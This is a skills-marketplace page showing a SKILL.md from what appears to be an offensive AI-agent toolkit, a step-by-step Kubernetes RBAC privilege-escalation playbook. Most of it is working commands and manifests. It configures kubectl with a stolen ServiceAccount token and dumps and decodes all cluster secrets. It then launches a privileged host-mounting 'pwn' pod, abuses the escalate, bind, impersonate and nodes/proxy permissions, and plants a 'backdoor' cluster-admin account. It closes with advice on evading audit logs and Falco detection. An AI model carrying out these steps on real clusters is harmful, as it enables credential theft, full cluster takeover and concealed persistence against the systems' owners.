Skip to main content

k8s-rbac-abuse

Kubernetes RBAC privilege escalation paths — ClusterRole/Role enumeration via `kubectl auth can-i --list`, abuse of pods/exec, pods/portforward, secrets get, escalate verb, bind verb, impersonate verb, system:masters group abuse, ServiceAccount token theft and reuse.

Source facts

Repository
BitterSecurity/Decepticon
Last source activity
May 26, 2026 at 09:25
Detected SKILL.md language
English
Stars
5,611
Forks
1,061

Install options

The review-first prompt is selected by default. You can switch to a direct command or download a local copy.

Review the source files

Read SKILL.md and any companion files shown by SkillsMP before deciding whether to install.

Showing SKILL.md

SKILL.md
Source instructions · Read-only preview
name
k8s-rbac-abuse
description
Kubernetes RBAC privilege escalation paths — ClusterRole/Role enumeration via `kubectl auth can-i --list`, abuse of pods/exec, pods/portforward, secrets get, escalate verb, bind verb, impersonate verb, system:masters group abuse, ServiceAccount token theft and reuse.
allowed-tools
Bash Read Write
metadata
{"when_to_use":"kubernetes k8s rbac role privilege escalation can-i pods/exec secrets list escalate bind impersonate serviceaccount cluster-admin system:masters","subdomain":"cloud-native","tags":"kubernetes, rbac, privilege-escalation, authorization","mitre_attack":"T1078.004, T1098.003, T1552.005"}
# Kubernetes RBAC Privilege Escalation You have a Kubernetes ServiceAccount token (from a pod escape, kubeconfig leak, or compromised CI runner). Find the path from this SA to cluster-admin. ## Phase 1: Enumerate current permissions ```bash TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace) APISERVER=https://kubernetes.default.svc # Set up kubectl with the stolen token kubectl config set-credentials hacked --token="$TOKEN" kubectl config set-cluster c --server=$APISERVER --insecure-skip-tls-verify kubectl config set-context c --cluster=c --user=hacked --namespace=$NS kubectl config use-context c # Enumerate everything you can do kubectl auth can-i --list # in your namespace kubectl auth can-i --list --all-namespaces # cluster-wide (often forbidden — that's a signal too) kubectl auth can-i '*' '*' --all-namespaces # are you cluster-admin? # Get your role bindings kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]?.name | contains("YOUR_SA_NAME"))' ``` ## Phase 2: Classic escalation paths ### 2.1 `pods/exec` or `pods/attach` on a privileged pod If you can `exec` into a pod that has a privileged SecurityContext or a sensitive volume mount, you take that pod's identity: ```bash # Find pods you can exec into kubectl auth can-i create pods/exec # Find privileged pods kubectl get pods -A -o json | jq '.items[] | select(.spec.containers[]?.securityContext?.privileged == true) | "\(.metadata.namespace)/\(.metadata.name)"' # Exec → escape (see k8s-pod-escape skill) kubectl exec -it -n kube-system privileged-pod-name -- /bin/sh ``` ### 2.2 `secrets get/list` cluster-wide ```bash # Dump every secret in the cluster kubectl get secrets -A -o json > all_secrets.json # Service-account tokens, image-pull secrets, custom-application secrets — all here jq -r '.items[] | select(.type=="kubernetes.io/service-account-token") | "\(.metadata.namespace)/\(.metadata.name): \(.data.token | @base64d)"' all_secrets.json | head # Pick a more-privileged SA token and re-authenticate NEW_TOKEN=$(kubectl get secret -n kube-system $(kubectl get sa -n kube-system -o name | head -1 | cut -d/ -f2)-token-XXXXX -o jsonpath='{.data.token}' | base64 -d) kubectl --token="$NEW_TOKEN" auth can-i '*' '*' --all-namespaces ``` ### 2.3 `create pods` — run a privileged pod yourself Even without exec on existing pods, if you can CREATE pods you can build one that mounts the host: ```bash cat <<EOF | kubectl apply -f - apiVersion: v1 kind: Pod metadata: name: pwn spec: hostPID: true hostNetwork: true containers: - name: pwn image: alpine command: ["nsenter", "-t", "1", "-m", "-u", "-i", "-n", "-p", "sh"] securityContext: privileged: true volumeMounts: - name: host mountPath: /host volumes: - name: host hostPath: path: / EOF kubectl exec -it pwn -- /bin/sh ``` If PSP / Pod Security Admission blocks `privileged: true`, downgrade gradually: hostPath: /, hostPID alone, capabilities: [SYS_ADMIN], etc. PSA's `restricted` profile blocks all of these; `baseline` blocks privileged + hostPath but allows hostPID; `privileged` allows everything. ### 2.4 `escalate` verb The `escalate` verb on `roles`/`clusterroles` lets you create a role with permissions you DON'T have: ```bash kubectl auth can-i escalate clusterroles # If "yes": cat <<EOF | kubectl apply -f - apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: total-pwn rules: - apiGroups: ["*"] resources: ["*"] verbs: ["*"] EOF # Then bind it to your SA kubectl create clusterrolebinding pwn --clusterrole=total-pwn --serviceaccount=$NS:default ``` ### 2.5 `bind` verb The `bind` verb lets you bind an existing higher-privilege ClusterRole to your SA: ```bash kubectl auth can-i create clusterrolebindings # OR kubectl auth can-i bind clusterroles # Either gives you escalation to cluster-admin: kubectl create clusterrolebinding pwn --clusterrole=cluster-admin --serviceaccount=$NS:default ``` ### 2.6 `impersonate` verb ```bash kubectl auth can-i impersonate users # If yes, impersonate cluster-admin: kubectl --as=system:admin auth can-i '*' '*' --all-namespaces kubectl --as=system:admin get secrets -A # Or impersonate a group: kubectl --as=anything --as-group=system:masters get secrets -A ``` ### 2.7 `nodes/proxy` — bypass RBAC via kubelet ```bash kubectl auth can-i get nodes/proxy # If yes, talk to the kubelet directly (bypasses the API server's RBAC) kubectl proxy --port=8080 & curl -sk http://localhost:8080/api/v1/nodes/$NODE/proxy/run/POD_NS/POD_NAME/CONTAINER -X POST -d 'cmd=id' ``` ## Phase 3: Token persistence ```bash # Create a long-lived SA token (k8s 1.24+ doesn't auto-mount tokens forever) kubectl create token your-sa --duration=720h # 30-day token # Or create an SA + ClusterRoleBinding pair that survives revocation of yours kubectl create sa backdoor -n kube-system kubectl create clusterrolebinding backdoor --clusterrole=cluster-admin --serviceaccount=kube-system:backdoor TOKEN=$(kubectl create token backdoor -n kube-system --duration=8760h) # 1 year ``` ## OPSEC - Every `kubectl` call hits the API server audit log. `kubectl auth can-i --list` calls SelfSubjectRulesReview — distinctive in audit logs. - Falco and Sysdig rules flag `create-clusterrolebinding`, `impersonate`, and `nodes/proxy` access. - Token theft from etcd / pod-filesystem leaves no audit trail until the token is USED — separate the steal and the use in time if possible. - Prefer `--user-agent` matching the kubectl version already in use on the cluster to blend in. ## References - [Kubernetes RBAC docs](https://kubernetes.io/docs/reference/access-authn-authz/rbac/) - BadPods (Bishop Fox) — every PSA bypass class - DEFCON 30 "Hacking Kubernetes" — Madhu Akula / Andrew Martin - KubiScan — tools for the defender side
View on GitHub